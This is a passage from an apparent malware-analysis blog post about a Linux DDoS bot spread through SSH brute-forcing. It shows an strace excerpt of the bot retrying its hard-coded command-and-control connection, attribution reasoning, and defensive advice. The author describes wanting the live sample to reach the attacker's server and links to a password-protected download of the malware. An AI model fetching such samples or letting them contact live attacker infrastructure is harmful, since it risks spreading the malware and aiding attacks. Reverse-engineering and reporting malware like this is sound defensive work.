send(5, "!\3\0\0\0\177\0\0\1\177\0\0\1\20\'`\352\0\0\0\0\0\0\0\0\0\0\0\0\0Li"..., 414, 0) = -1 ECONNREFUSED (Connection refused)
close(5)                                = 0
nanosleep({15, 0},
The malware, as per predicted in reversing part, is running as loop to keep on trying connecting to the mother host (after sleeps 15 secs..assuming to reset the connection), and it is now still running in my testbed with hoping to connect and see what will happen ;-)) I really look forward to gain connection it to the China IP's CNC to PoC the remote DoS attack functions stated in the writing above.


For they who want to try to test or researching this malware, you can download it here-->>[MediaFire] with the usual password. :D

Moral of the story

Linux reversing is actually fun, open source provides many good tools to disassembly and debugging any executables or libraries, do not hesitate to do it by your self!
Please take a good care of your SSH and FTP services friends! See the advice I wrote some tuning tips for sshd in the video above.
The last point is, block and, these IP addresses are not good ones, please help yourself by exclude any access from these. You won't need to access these IPs anyway :-D

You tell me, who the attacker is, IF↓:

(1) The SSH attacker IP address is from China,
(2) He downloaded from "next" China IP for malware in a China from...
(3) original China made web server (HFS) runs in specific port (81) from its root directory and..
(4) if you run the malware, it'll back-connect to same China IP..
(5) ..And that IP address is hard coded in the binary!

Recent Updates of this threat

This threat is agressively improving its variant with the encryption, hiding their CNC IP address, changing CNC to non 80 port numbers, new DDoS functions, and starting to aim USA servers as their CNC instead the initial China servers they used to do. With the same MO of using HFS. Below are some tweets following their changes: